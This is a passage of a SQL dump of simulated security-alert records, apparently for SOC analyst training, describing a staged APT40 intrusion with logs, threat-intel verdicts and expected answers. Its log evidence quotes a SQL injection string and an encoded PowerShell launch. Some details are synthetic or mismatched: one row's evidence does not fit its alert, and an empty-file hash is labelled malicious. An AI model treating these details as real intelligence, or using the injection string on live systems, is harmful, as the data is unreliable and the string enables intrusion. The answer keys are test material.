detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:16Z\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"satellite_link\\\",\\\"malware\\\":\\\"Turla\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.946Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:16Z\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"satellite_link\\\",\\\"malware\\\":\\\"Turla\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.946Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:16Z\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"satellite_link\\\",\\\"malware\\\":\\\"Turla\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.946Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:16Z\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"satellite_link\\\",\\\"malware\\\":\\\"Turla\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.946Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:16Z\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"satellite_link\\\",\\\"malware\\\":\\\"Turla\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(352, 'Suspicious Access to University Network', 'high', 'Firewall logs', 'APT40 exploited a known vulnerability in the university\'s web server software, gaining initial access to the network.', 'Initial Access', 'T1190: Exploit Public-Facing Application', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:22:10Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"dst_port\":443,\"method\":\"GET\",\"url\":\"/vulnerable_endpoint\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\",\"http_version\":\"HTTP/1.1\",\"status_code\":200,\"response_size\":5120,\"referer\":\"http://malicious.example.com\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"exploit_payload.bin\",\"action\":\"allowed\"}', '2026-01-03 00:42:39', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT40 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"University web server.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Source Intelligence\",\"verdict\":\"malicious\",\"details\":\"Associated with malicious activity.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"APT40 exploit payload used in multiple attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"exploit_payload.bin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Investigation\",\"verdict\":\"suspicious\",\"details\":\"Unrecognized file name discovered during analysis.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(353, 'Execution of Custom Malware', 'high', 'Endpoint detection systems', 'APT40 executed a custom malware payload shortly after gaining access to the network. The malware is designed to operate stealthily, conducting reconnaissance and data collection.', 'Execution', 'T1059 - Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:23:45Z\",\"event_id\":\"EVT12345\",\"event_type\":\"execution\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"john_doe\",\"process_name\":\"custom_malware.exe\",\"process_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"command_line\":\"C:\\\\Users\\\\john_doe\\\\AppData\\\\Local\\\\Temp\\\\custom_malware.exe\",\"detection_method\":\"behavioral analysis\",\"additional_info\":{\"file_path\":\"C:\\\\Users\\\\john_doe\\\\AppData\\\\Local\\\\Temp\\\\custom_malware.exe\",\"network_activity\":[{\"ip_address\":\"203.0.113.45\",\"port\":443,\"protocol\":\"HTTPS\"}]}}', '2026-01-03 00:42:39', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known APT40 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as APT40 custom malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"custom_malware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"Custom malware filename used by APT40.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(354, 'Establishing Persistence via Web Shell', 'high', 'Web server logs', 'APT40 installed a web shell on the compromised server to ensure persistent access, even if initial access vectors are closed. The web shell was identified through unusual POST requests and the presence of a suspicious file on the server.', 'Persistence', 'T1505.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:07Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"request_method\":\"POST\",\"uri\":\"/uploads/shell.jsp\",\"http_version\":\"HTTP/1.1\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"status_code\":200,\"response_size\":3452,\"referrer\":\"http://example.com/login\",\"file_hash\":\"1a79a4d60de6718e8e5b326e338ae533\",\"username\":\"admin\"}', '2026-01-03 00:42:39', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"The IP address is associated with known APT40 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"shell.jsp\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"This file is recognized as a common web shell used by attackers.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"1a79a4d60de6718e8e5b326e338ae533\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Bazaar\",\"verdict\":\"suspicious\",\"details\":\"The hash matches files used in recent APT campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Common username for administrative access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.949Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"request_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"http_version\\\":\\\"HTTP/1.1\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":3452,\\\"referrer\\\":\\\"http://example.com/login\\\",\\\"file_hash\\\":\\\"1a79a4d60de6718e8e5b326e338ae533\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.949Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"request_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"http_version\\\":\\\"HTTP/1.1\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":3452,\\\"referrer\\\":\\\"http://example.com/login\\\",\\\"file_hash\\\":\\\"1a79a4d60de6718e8e5b326e338ae533\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.949Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"request_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"http_version\\\":\\\"HTTP/1.1\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":3452,\\\"referrer\\\":\\\"http://example.com/login\\\",\\\"file_hash\\\":\\\"1a79a4d60de6718e8e5b326e338ae533\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.949Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"request_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"http_version\\\":\\\"HTTP/1.1\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":3452,\\\"referrer\\\":\\\"http://example.com/login\\\",\\\"file_hash\\\":\\\"1a79a4d60de6718e8e5b326e338ae533\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.949Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"request_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"http_version\\\":\\\"HTTP/1.1\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":3452,\\\"referrer\\\":\\\"http://example.com/login\\\",\\\"file_hash\\\":\\\"1a79a4d60de6718e8e5b326e338ae533\\\",\\\"username\\\":\\\"admin\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(355, 'Lateral Movement to Secure Data Sources', 'high', 'Network traffic analysis', 'The attackers used legitimate credentials obtained during the initial breach to navigate through the network, reaching sensitive research databases containing proprietary sonar technology schematics.', 'Lateral Movement', 'T1078', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.102\",\"protocol\":\"RDP\",\"username\":\"j.doe\",\"event\":\"Successful login using compromised credentials\",\"file_accessed\":\"/network_share/sonar_schematics_v2.pdf\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"Access granted to sensitive data after lateral move\"}', '2026-01-03 00:42:39', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Research database server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Account used in unauthorized access\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Integrity Monitoring\",\"verdict\":\"clean\",\"details\":\"No known issues with file hash\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(356, 'Exfiltration of Sonar Technology Schematics', 'high', 'Data loss prevention (DLP) systems', 'APT40 utilized encrypted channels to transfer the stolen sonar technology schematics to external servers, completing their data theft operation. The data exfiltration was detected by DLP systems monitoring outgoing traffic. The transfer was executed using the file \'sonar_tech_designs.zip\' over an encrypted connection to a known malicious IP address.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:53:12Z\",\"source_ip\":\"10.0.10.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"file_name\":\"sonar_tech_designs.zip\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user\":\"jdoe\",\"transfer_size\":10485760,\"alert_trigger\":\"DLP Policy: Sensitive Data Exfiltration\",\"encryption\":\"TLSv1.2\"}', '2026-01-03 00:42:39', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT40 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"sonar_tech_designs.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP Database\",\"verdict\":\"suspicious\",\"details\":\"File contains sensitive sonar schematics.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash seen in previous exfiltration attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR Database\",\"verdict\":\"internal\",\"details\":\"User account associated with current employee.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:53:12Z\\\",\\\"source_ip\\\":\\\"10.0.10.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"sonar_tech_designs.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"transfer_size\\\":10485760,\\\"alert_trigger\\\":\\\"DLP Policy: Sensitive Data Exfiltration\\\",\\\"encryption\\\":\\\"TLSv1.2\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:53:12Z\\\",\\\"source_ip\\\":\\\"10.0.10.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"sonar_tech_designs.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"transfer_size\\\":10485760,\\\"alert_trigger\\\":\\\"DLP Policy: Sensitive Data Exfiltration\\\",\\\"encryption\\\":\\\"TLSv1.2\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:53:12Z\\\",\\\"source_ip\\\":\\\"10.0.10.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"sonar_tech_designs.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"transfer_size\\\":10485760,\\\"alert_trigger\\\":\\\"DLP Policy: Sensitive Data Exfiltration\\\",\\\"encryption\\\":\\\"TLSv1.2\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:53:12Z\\\",\\\"source_ip\\\":\\\"10.0.10.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"sonar_tech_designs.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"transfer_size\\\":10485760,\\\"alert_trigger\\\":\\\"DLP Policy: Sensitive Data Exfiltration\\\",\\\"encryption\\\":\\\"TLSv1.2\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:53:12Z\\\",\\\"source_ip\\\":\\\"10.0.10.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"sonar_tech_designs.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"transfer_size\\\":10485760,\\\"alert_trigger\\\":\\\"DLP Policy: Sensitive Data Exfiltration\\\",\\\"encryption\\\":\\\"TLSv1.2\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(357, 'Suspicious Web Traffic Detected', 'high', 'Web Proxy Logs', 'A suspicious drive-by download was detected from a compromised ad network, which delivered an initial payload to an internal workstation, potentially leading to unauthorized access.', 'Drive-by Download', 'T1189: Drive-by Compromise', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:01Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"url\":\"http://malicious-ad-network.com/ads\",\"method\":\"GET\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"referrer\":\"http://trusted-news-portal.com\",\"filename\":\"exploit_kit.js\",\"hash\":\"b5f3c8e9d6a8f5b9e2f7c4d8a1b3a5e6\",\"username\":\"jdoe\"}', '2026-01-03 00:50:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel\",\"verdict\":\"malicious\",\"details\":\"Known command and control server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal workstation IP\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-ad-network.com/ads\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Associated with malicious activity\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b5f3c8e9d6a8f5b9e2f7c4d8a1b3a5e6\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known exploit kit\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"exploit_kit.js\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Identified as part of an exploit kit\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.952Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:01Z\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"url\\\":\\\"http://malicious-ad-network.com/ads\\\",\\\"method\\\":\\\"GET\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; 